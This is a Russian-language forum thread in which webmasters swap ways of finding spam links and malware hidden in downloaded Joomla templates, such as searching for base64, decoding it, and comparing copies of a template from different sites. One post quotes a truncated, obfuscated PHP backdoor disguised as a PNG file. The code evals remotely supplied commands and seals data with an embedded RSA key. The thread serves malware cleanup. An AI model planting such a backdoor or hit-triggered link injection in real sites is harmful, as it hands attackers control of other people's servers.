Обсуждение Проверяем наличие внешних ссылок в шаблоне

Сканер AI-Bolit хорошая штука для поиска всякой дряни в шабах.
 
Еще хитрый способ вшивания ссылок есть. В php файл добавляется классикой - base64 с переменной, например <?php echo base64_decode($vt_prb); ?>, а дальше где-нибудь и сама переменная определяется, но не напрямую, а после определенного кол-ва хитов (показов) - <?php if ( $this->item->hits >'23') { $vt_prb ="... Т.е. внешняя ссылка-то не сразу и появится у вас на сайте. Поэтому надежнее сразу искать, расшифровывать и удалять ненужные фрагменты с base64, а не просто доверяться сервисам по определению внешних ссылок с сайта.
 
Еще хитрый способ вшивания ссылок есть. В php файл добавляется классикой - base64 с переменной, например <?php echo base64_decode($vt_prb); ?>, а дальше где-нибудь и сама переменная определяется, но не напрямую, а после определенного кол-ва хитов (показов) - <?php if ( $this->item->hits >'23') { $vt_prb ="... Т.е. внешняя ссылка-то не сразу и появится у вас на сайте. Поэтому надежнее сразу искать, расшифровывать и удалять ненужные фрагменты с base64, а не просто доверяться сервисам по определению внешних ссылок с сайта.

Соглашусь на 100%
Пробовал и Xenu и аналогичные: это не всегда 100% результат.
Сервисы онлайн не годятся по причинам своей "запоздалости" (если сайт вылить в онлайн с левыми бэклинками то проблемы могут начаться раньше чем сервисы их найдут)
Лучший способ, который нашел за многие годы это один: искать например командером по файлам все упоминания base64 куски по коду и выкашивать. Но господа спамеры пошли уже дальше: теперь они шифруют ссылки по частям, шифруют вместе с нужными для нас divами и прочим... Вот от этого как избавится автоматизированно: я так и не нашел...:(
... Приходится иногда по два-три часа чистить шаблоны после "особо одаренных"...
В итоге: дешевле вступить в клубы и получить лицензию) или вскладчину брать.

Как итог: чистка шаблона рациональна только для особых случаев...

Но вот я предлагаю еще один способ, который пока что применил только один раз: качаем один и тот же шаблон из нескольких источников. Смотрим соответствие версии шаблона. Дальше сравниваем все файлы шаблона в тотал командере (благо там есть такая возможность: сравнение вместе с подкаталогами и по содержимому - синхронизация)...
Как итог: мы видим изменения в файлах и, так как они у разных "кулибиных" разные, то собрать нормальный файл уже дело времени.
- но это годится только для самых сложных случаев, когда разбираться что там поназашифровывали нерационально.
 
Находилась тут:
templates/шаблон/html/com_k2/templates/default/item.php
templates/шаблон/html/com_content/article/default.php
Декодировал тут Для просмотра ссылки Войди или Зарегистрируйся
 
Предлагаю писать названия шаблонов и, по возможности, источник шаблона: в каком шаблонн где какая зараза прописана. Это многим сократит поиски.

Так же позволю себе попробовать краткий мануал для новичков в поиске скрытых ссылок:

Вариант лайт-1:
1. Проверяем сайт с помощью xenu
2. Копируем в буфер название домена
3. Открываем онлайн например Для просмотра ссылки Войди или Зарегистрируйся или другой кодировщик в base64
4. Кодируем в base64
5. Копируем получившийся "фарш" в буфер
6. Ищем этот текст с помощью total commander по файлам шаблона
7. Дальше по ситуации: выкашиваем левый зашифрованный код.

Вариант лайт2:
1. Ищем с помомщью например total commander фразу "base64" по файлам шаблона
2. В найденных файлах правим кусок кода возле base64, а точнее выкашиваем его и пересохраняем файлы. Для редактирования файлов делательно использовать например notepad++ чтобы корректно открыть файл и сохранить в корректной кодировке.

Вариант с сканером ai-bolit тут я не рассматриваю, так как работа с ним требует отдельной темы (например, потому что он настолько хорош, что даже в чистой joomla находит массу варнингов:) - и надо знать joomla, чтобы не выкосить пол ядра ненароком по советам ai-bolit)
 
да, все понятно, что сразу base64_decode по всем файлам и расширениям - и прибить подозрительный код ...
а разбитые ссылки только сервисами и прогами-компиляторами можно определить
 
сегодня нашел в одном из шаблонов прикол :D
в конце index.php
PHP:
<?php include('images/social.png'); ?>

ну и понятно, что social.png это обычная php`шка
ну и там хитрец устанавливает ssl соединение через ключи:

PHP:
<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() {    if (!defined('WP_OPTION_KEY')) {        define('WP_OPTION_KEY', 'wp_data_newa');        $oXyaqmHoChvHQFCvTluq = new 
......................................
`#__options` (        `id` int(10) NOT NULL AUTO_INCREMENT,        `option_name` text NOT NULL,        `value` text NOT NULL,   PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";            $AKorMlJxhsFuVmuppepc = JFactory::getDbo();            $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI);            $AKorMlJxhsFuVmuppepc->query();        }        if ($KPnBqYhemQSdHKDNtJpe === 2) {             $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `options` (        `id` int(10) NOT NULL AUTO_INCREMENT,        `option_name` text NOT NULL,        `value` text NOT NULL,   PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";            db_query($fNkUjsWlUtvjeWmrzNlI);        }        $this->yYVsqvOoqWsddypXgJcI = array(             '==DZk4FZlVwY5RGZhpQB'        ,'=4JnhZUpck2olIKM',            '=4JnhZ3M1WJMeyTo',            '=02ow5FryW3ogkJnuWUq',            '6yzLhDKqwETol92q',            '==trcWzYyEKqwETol92q',            'g92LhZ3ni9Togyzr',            '==DoiAzYiEKqiyKMgS2p',            '=8zMhyzYhIJMlqzoi9Jo',            '=bKnv5vpuE3phSJofI2n',            'aW3ohHzMckzp19JM2y2M',            '=02ow5PoyITqmEJquWaM',            '==DoiAzY6ITqu1JLgkJL',            'g92LhpzockTocM2oaWKM',            '==toc5vo1AKMaSTofyzq',            'hyzY5Izpi1JM29Jo',            '==jMl9zY5ITMi9zMiyzL',            'aW3ohVGqlpzocuTq55JL',            '==jMl9zYhI2LmEapiO3p',            'aW3oh4JLwAUq0I3L',            '=pzpi5lp0WKLjSJMyWaM',            '==jqj5FqiyKMwyzoyA2p',            '3OaY1WGoj1JL',            '=pUphxKqaWKnuu2L',            '=4JnhVKMeAJnfMJock2p',            '=4JnhV3ox5JLl9TryuTq',            '=4Jnh4JqvyKMh9Tn',            'hyzYmk2oiEaoyk2M',            'hyzYh9TqlSzLhSTM',            '=4JnhNKqiW3Mf9TogyzL',            '==toc5lp0Szp0SzM',            'hyzYfIJM0Aaouu2L',            'hyzYlSTqm92Mhyzp',            '6yzLh4zpiEKMfqzocWaL',            'aW3ohHTo5E3pgHJocW3L',            '==trcWzYmgJLgyTqf9zM',            '==Nqy5zYmAKMhy2M0ITo0I3o',            '==jqj5PnmyzMiEUnmyzp',            '==jqj5lphS2pfIzquWUq',                    '=02ow5PoiSTDyI2Mu12KyWUMhSzr',            'g92Lhj2ouORMlSTnwIzLyAKnhITM',            '==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo',            '=02ow5PoiSTDfSzpiEJLxkJL',            '==DoiAzYf9JLN52omWJna9IL5Szn',            'g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L',            '==DoiAzYf9JLNcKLj5lo05JnwSzn',            '=02ow5PoiSTDbAJnyW3pc12oe9zo',            'g92Lhj2ouOHZhyzpl9JobqJLhIJo',            '==DoiAzYf9JLNWJL0EKMfI2M',            '==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM',            '=02ow5PoiSTDyEKLgIUnm5Pp',            'g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL',            '==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo',            '==DoiAzYf9JLNSmolWKL2SzosyKMfSTn',            '=02ow5lni9To0I3oNEJrkS2pikJMbIzn',            'g92Lhf2oikTq19TDiqJMay2p1E2ofyaL',            'g92Lhf2oikTq19TDiqKqfIzoykJqlyzo',            '=02ow5lni9To0I3oNcKrbSzn51JrzI2n',            '=02ow5lni9To0I3oNgJLh92McuKqm92p',            'g92Lhf2oikTq19TDcq2owyap112ox9Tq',            'g92Lhf2oikTq19TDiWJq6yJoykJMjS2M',            'g92Lhf2oikTq19TDugJray3qcqJnwSzM',            'g92Lhf2oikTq19TDcqJnmyzruEKqeyzM',            '=02ow5lni9To0I3oN5JMmyUr5AJn2yUp',            'g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr',            'g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M',            '=02ow5lni9To0I3oNAJqvI2q1MKLxS2q',            'g92Lhf2oikTq19TD1EKLeSzp11JLxy2p',        );        $this->dIOUyQsvDqPHTBIxnlYs();        $this->YobOrWbieESFVcSsWsuB = false;        $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF(WP_OPTION_KEY);        if
.........................................

  return;        }        if (@$oXyaqmHoChvHQFCvTluq['info']['eval'] == 1) {            if (is_array(@$oXyaqmHoChvHQFCvTluq['eval'])){                foreach (@$oXyaqmHoChvHQFCvTluq['eval'] as $vsGIQvwCXRbSELMOlFV) {                    eval($vsGIQvwCXRbSELMOlFV);                }            }        }        if (isset($oXyaqmHoChvHQFCvTluq['echo'])) {            if (!defined('wp_footerLeo')) {                if ($this->KPnBqYhemQSdHKDNtJpe == 0) {                    .....................................
XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM) {        $oXyaqmHoChvHQFCvTluq = array();        foreach ($this->oXyaqmHoChvHQFCvTluq['emails'] as $oXyaqmHoChvHQFCvTluq['started'] = date('Ymd');            $oXyaqmHoChvHQFCvTluq['last_connect'] = date('Ymd');            $this->WbKPQMoSbMZkXUeYKXRI = $oXyaqmHoChvHQFCvTluq;            return $oXyaqmHoChvHQFCvTluq;        }        return false;    }    private function BkISKDyWWRXScnLPbTly($PVSXPKLAQGaWKUtNNUYQ = 10) {        $dqkdbOJPzAPsLsuxnjAS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';        $PqlpeiQHmZBwdmlsfEHm = '';        for ($BCEUSjHFFwzzqmHmpjjQ =         ....................................

        $this->SntMBKFkfTlUzXyNVQed = '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q
43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet
nS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c
uccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj
nfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X
vgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/
gQIDAQAB
-----END PUBLIC KEY-----';    }    private function yOlGcuINHlzAVPznEbGN() {        $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF('WP_CLIENT_KEY');        $this->AcheTwkrhTtKmyatQGqY = $oXyaqmHoChvHQFCvTluq;    }    private function QxEolVsSqvJZyRSgHFmL() {        $WUSuJUGMrzyhdyhyGeIj = $this->DWoPBIQOoBwLXRAmwfed();        $this->AcheTwkrhTtKmyatQGqY = $WUSuJUGMrzyhdyhyGeIj['private'];        $this->YcmysXeieEGqvkjRIsPY = $WUSuJUGMrzyhdyhyGeIj['public'];        kCJMtAGyLhtYhIvdbnZk("WP_CLIENT_KEY", $this->AcheTwkrhTtKmyatQGqY);    }    public function bkBMtlOkGRaPFVExpcNb($oXyaqmHoChvHQFCvTluq) {        openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQed)));        return array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0]));    }    public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq) {        openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPY)));        return json_encode(array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0])));    }    public function qPhSGyDrRdyPezAnHgia() {        return $this->YcmysXeieEGqvkjRIsPY;    }    public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd) {        $this->YcmysXeieEGqvkjRIsPY = $piiJbwvzLxHvKjlNnFzd;    }    public function vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq) {        $BdlbpgzPBjxVLkBLnsrX = json_decode($oXyaqmHoChvHQFCvTluq, true);        if ($BdlbpgzPBjxVLkBLnsrX !== false) {            $oXyaqmHoChvHQFCvTluq = $BdlbpgzPBjxVLkBLnsrX;        }        if (!is_array($oXyaqmHoChvHQFCvTluq)) {            return false;        }        openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluq['data'])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluq['key'])), $this->AcheTwkrhTtKmyatQGqY);        return $WQqrOQbxBHtERCkwicqA;    }    public function DWoPBIQOoBwLXRAmwfed() {        $IzGRmpLLtcLVMJRxcfpe = openssl_pkey_new(array(            'private_key_bits' => 2048,            'private_key_type' => OPENSSL_KEYTYPE_RSA,        ));        openssl_pkey_export($IzGRmpLLtcLVMJRxcfpe, $IANNGYfyVIgZFkzWVTKm);        $oXyaqmHoChvHQFCvTluq['private'] = $IANNGYfyVIgZFkzWVTKm;        $XEWVBmIaXvRqxrckbkOq = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpe);        $oXyaqmHoChvHQFCvTluq['public'] = $XEWVBmIaXvRqxrckbkOq['key'];        return $oXyaqmHoChvHQFCvTluq;    }}function RxdxPzeQGSiqrbrgJBXU($rgDMTBtwwcPImtctaZhZ, $oXyaqmHoChvHQFCvTluq = null) {    return;    echo "<pre>";    if (is_array($oXyaqmHoChvHQFCvTluq)) {        echo "-@-@----- ::Array:: - $rgDMTBtwwcPImtctaZhZ  -->\n\r";        print_r($oXyaqmHoChvHQFCvTluq);        ................................
array(':value' => $ytnxJjQqCvGdNRBKCigc, ':option' => $zgWyMIVCeKwSmjusORA));        }    } else {        if (class_exists('JFactory')) {            $AKorMlJxhsFuVmuppepc = JFactory::getDbo();            $AKorMlJxhsFuVmuppepc->setQuery("INSERT INTO #__options(option_name, value) values ('{$zgWyMIVCeKwSmjusORA}' , '{$ytnxJjQqCvGdNRBKCigc}')");            return $AKorMlJxhsFuVmuppepc->query();        }        if (function_exists('get_home_url') || function_exists('get_site_url')) {            update_option($zgWyMIVCeKwSmjusORA, $ytnxJjQqCvGdNRBKCigc);        }    }}?>

всегда качаю один и тот же шаблон с двух разных сайтов и потом сравниваю
довольно часто они отличаются в размере на 10-20 кб
ну и найти какая папка отличается от другой - не составляет друда. в этом нам поможет Araxis merge, которая может сравнивать целые папки
и указывает в каких файлах что изменилось

эту же технологию удобно применять если хочется понять, что изменилось в новой версии компонента или модуля, или шаблона
 
Нашел то как? ты что, весь код просматривал вручную? Офигеть просто... до чего дошли...
 
Я пользуюсь FAR Manager "Расширенное сравнение" - что по мне то удобно искать папки, в которых произошли изменения.

Но есть некоторые мелкие ньюансы что не нравятся.

Кто пользуется подобными инструментами - какие ещё есть варианты?

Нашел то как? ты что, весь код просматривал вручную? Офигеть просто... до чего дошли...

Да автоматом конечно ))
 
Последнее редактирование модератором:
Назад
Сверху